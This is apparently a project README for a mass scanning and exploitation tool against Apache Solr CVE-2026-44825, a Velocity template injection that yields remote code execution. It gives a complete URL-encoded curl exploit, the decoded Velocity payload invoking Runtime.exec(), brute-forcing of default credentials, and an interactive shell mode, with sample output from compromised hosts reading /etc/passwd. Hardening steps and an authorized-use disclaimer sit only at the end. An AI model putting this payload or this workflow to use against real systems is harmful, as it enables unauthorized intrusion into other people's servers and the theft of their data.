☄️ 针对 Apache Solr CVE-2026-44825 的大规模侦察与利用框架 —— Velocity 模板注入实现 RCE
CVE-2026-44825 是 Apache Solr 中的一个严重级别漏洞,攻击者可通过 Velocity 模板注入实现未认证远程代码执行(RCE)。
Apache Solr 的 /select 端点接受一个 wt=velocity 参数,用于渲染用户提供的 Velocity 模板。当 Velocity Response Writer 处于启用状态(或可通过配置 API 启用)时,攻击者可以注入恶意模板来调用 java.lang.Runtime.exec(),从而以 Solr 进程的权限执行任意系统命令。
| 攻击向量 | 严重程度 | 影响 |
|---|---|---|
| 未认证 RCE | 9.8(严重) | 系统完全沦陷 |
| 认证后 RCE | 8.8(高危) | 认证后代码执行 |
Apache Solr 将 Apache Velocity 作为可选的响应渲染模板引擎打包在内。漏洞出在 Solr 的 VelocityResponseWriter 上,它在处理用户可控的模板参数时缺乏充分的净化,从而允许直接调用 Java 反射 API:
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
注意: 版本检查通过解析
/admin/info/system的 JSON 响应自动完成。
# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Install dependencies
pip install -r requirements.txt
# Verify
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
仅需标准库 +
requests,没有额外的特殊依赖。
CVE-2026-44825 Apache Solr Scanner
-t, --target Single target URL or IP[:port]
-f, --file File containing targets (one per line, # for comments)
--exploit Auto-exploit if vulnerable credentials are found
--rce Launch interactive shell after authentication
-u, --user Username for Basic Auth
-pw, --password Password for Basic Auth
-o, --output JSON output file path (default: solr_results.json)
-w, --workers Number of concurrent threads (default: 30)
-T, --timeout HTTP request timeout (seconds) (default: 8)
# Single target
python solr_scanner.py -t 192.168.1.100:8983
# Single target with custom path
python solr_scanner.py -t http://example.com/solr
# Mass scan from file
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — supports comments and blank lines
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR not supported; pre-expand with external tool)
# Scan + auto-exploit if creds found
python solr_scanner.py -f targets.txt --exploit
# Known credentials + interactive shell
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Auto brute-force + shell on success
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
全部 3 个目标均被检测到。9.4.1 实例被标记为易受攻击,且启用了 Basic Auth。
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
默认凭据
admin:SolrRocks可访问 Solr 管理 API。共发现四个集合。
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
获得以 Solr Java 进程权限运行的完整交互式 shell。
适合希望理解原始 HTTP 交互的研究人员:
步骤 1 — 确认 Solr 可达
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
步骤 2 — 列出可用集合
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
步骤 3 — 通过 Velocity 模板注入执行命令
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
解码后的 Velocity 模板载荷:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
响应:
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Detect │──┼──▶ Brute- │───▶│ Velocity RCE │ │
│ │ Solr │ │ │ force │ │ Template Inj. │ │
│ └────┬────┘ │ └────┬─────┘ └───────┬────────┘ │
│ │ │ │ │ │
│ ▼ │ ▼ ▼ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Version │ │ │ Default │ │ Runtime.exec() │ │
│ │ Check │ │ │ Creds │ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ Auth │ │ │ Interactive Shell (--rce) │ │
│ │ Probe │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
Target URL
│
▼
┌─────────────┐
│ normalize │ → add http:// + /solr if missing
└──────┬──────┘
│
▼
┌─────────────┐ No
│ GET /admin/ ├──────── Skip target
│ info/system │
└──────┬──────┘
│ Yes (200/401)
▼
┌─────────────┐
│ Parse JSON │ → extract solr-spec-version
│ fingerprint │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x or 10.0.0 ?
└──────┬──────┘
│
├── Not vuln → Report, move on
│
▼ Vuln
┌─────────────┐
│ Auth check │ → /admin/cores?action=STATUS
│ (3-stage) │ → /admin/collections?action=LIST
└──────┬──────┘
│
├── No auth → Try unauthenticated listing
│
▼ Auth detected
┌─────────────┐
│ Brute-force │ → 4 users × 8 passwords = 32 attempts
│ credentials │
└──────┬──────┘
│
├── No match → Report vuln (no creds)
│
▼ Creds found
┌─────────────┐
│ List cols / │ → /admin/collections or /admin/cores
│ cores │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE via │ → POST /{collection}/select
│ Velocity │ → Velocity template → Runtime.exec()
└─────────────┘
bool(Response[401]) == False 很重要开发过程中发现的一个隐蔽 Python 陷阱:
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← 4xx/5xx responses evaluate to False!
这意味着每一个 if response and ... 检查都会静默跳过错误响应——即使你明确想要处理 401 也是如此。正确的做法是始终使用 if response is not None and ...:
# ❌ Broken — 401 responses are silently skipped
if r and r.status_code == 401:
auth = True
# ✅ Correct — explicitly check for None
if r is not None and r.status_code == 401:
auth = True
该扫描器采用三层检测策略,以最大限度地减少漏报:
'solr' in response.text.lower()
可在 JSON 键("solr_home"、"solr-spec-version"、"mode":"solrcloud")、HTML 仪表盘和错误页面中捕获 Solr 标识——不区分大小写。
'solr' in response.headers.get('Server', '').lower()
部分部署会在 HTTP Server 响应头中包含 "Solr"。
# Stage 1: Check /admin/info/system response code
# Stage 2: Probe /admin/cores?action=STATUS for 401
# Stage 3: Probe /admin/collections?action=LIST for 401
可捕获 /admin/info/system 公开、但管理操作需要认证的部署。
使用两个正则表达式模式以确保健壮性:
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
如果你正在运行 Apache Solr,请立即采取以下加固措施:
# Upgrade to a patched version
# Solr 9.x → 9.10.2 or later
# Solr 10.x → 10.0.1 or later
<!-- In solrconfig.xml — REMOVE or COMMENT OUT: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# Restrict access to Solr admin endpoints at the network level
# Only allow trusted IP ranges to access ports 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# Use this scanner against your OWN infrastructure
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json
🚨 仅限教育与授权测试用途
本软件仅用于教育目的和合法的安全研究。其适用对象包括:
- 🛡️ 执行授权渗透测试的安全专业人员
- 🏢 审计自身 Apache Solr 基础设施的组织
- 🔬 研究漏洞利用技术的研究人员
- 🎓 学习 Web 应用安全知识的学生
❌ 你不得使用本软件进行以下行为:
- 未经明确书面授权访问计算机系统
- 入侵、破坏或干扰你不拥有的系统
- 从事任何形式的非法活动
⚖️ 法律声明
未经授权访问计算机系统违反以下法律(包括但不限于):
- 美国: Computer Fraud and Abuse Act(18 U.S.C. § 1030)
- 印度尼西亚: UU ITE Pasal 30 & 46(UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- 欧盟: Directive 2013/40/EU
- 英国: Computer Misuse Act 1990
作者对因使用本工具而导致的任何滥用、损害或法律后果概不承担任何责任。使用本软件即表示你承认对自己的行为负全部责任,并同意遵守所有适用法律。
⚡ 为安全研究社区精心打造 ⚡
Apache® 和 Apache Solr® 是 Apache 软件基金会的注册商标。
本项目与 Apache 软件基金会无关联,也未获得其认可。
| 信息泄露 | 5.3(中危) | 核心/集合枚举 |
| Apache Solr 版本 | 状态 | 备注 |
|---|
| 9.4.0 – 9.10.1 | 🔴 易受攻击 | 已被野外主动利用 |
| 10.0.0 | 🔴 易受攻击 | 受影响的初始 10.x 版本 |
| 10.0.1+ | 🟢 已修补 | 已回溯移植修复 |
| 9.10.2+ | 🟢 已修补 | 已有补丁版本 |
| ≤ 9.3.x | 🟢 不受影响 | 不存在 Velocity Response Writer |
| 8.x(全部) | 🟢 不受影响 | 不支持 Velocity |
🔍 侦察
|
💀 漏洞利用
|
| 资源 | 链接 |
|---|
| NVD 条目 | CVE-2026-44825 |
| Apache Solr 安全公告 | solr.apache.org/security |
| Solr Velocity 文档 | Velocity Response Writer |
| OWASP 模板注入 | 服务端模板注入 |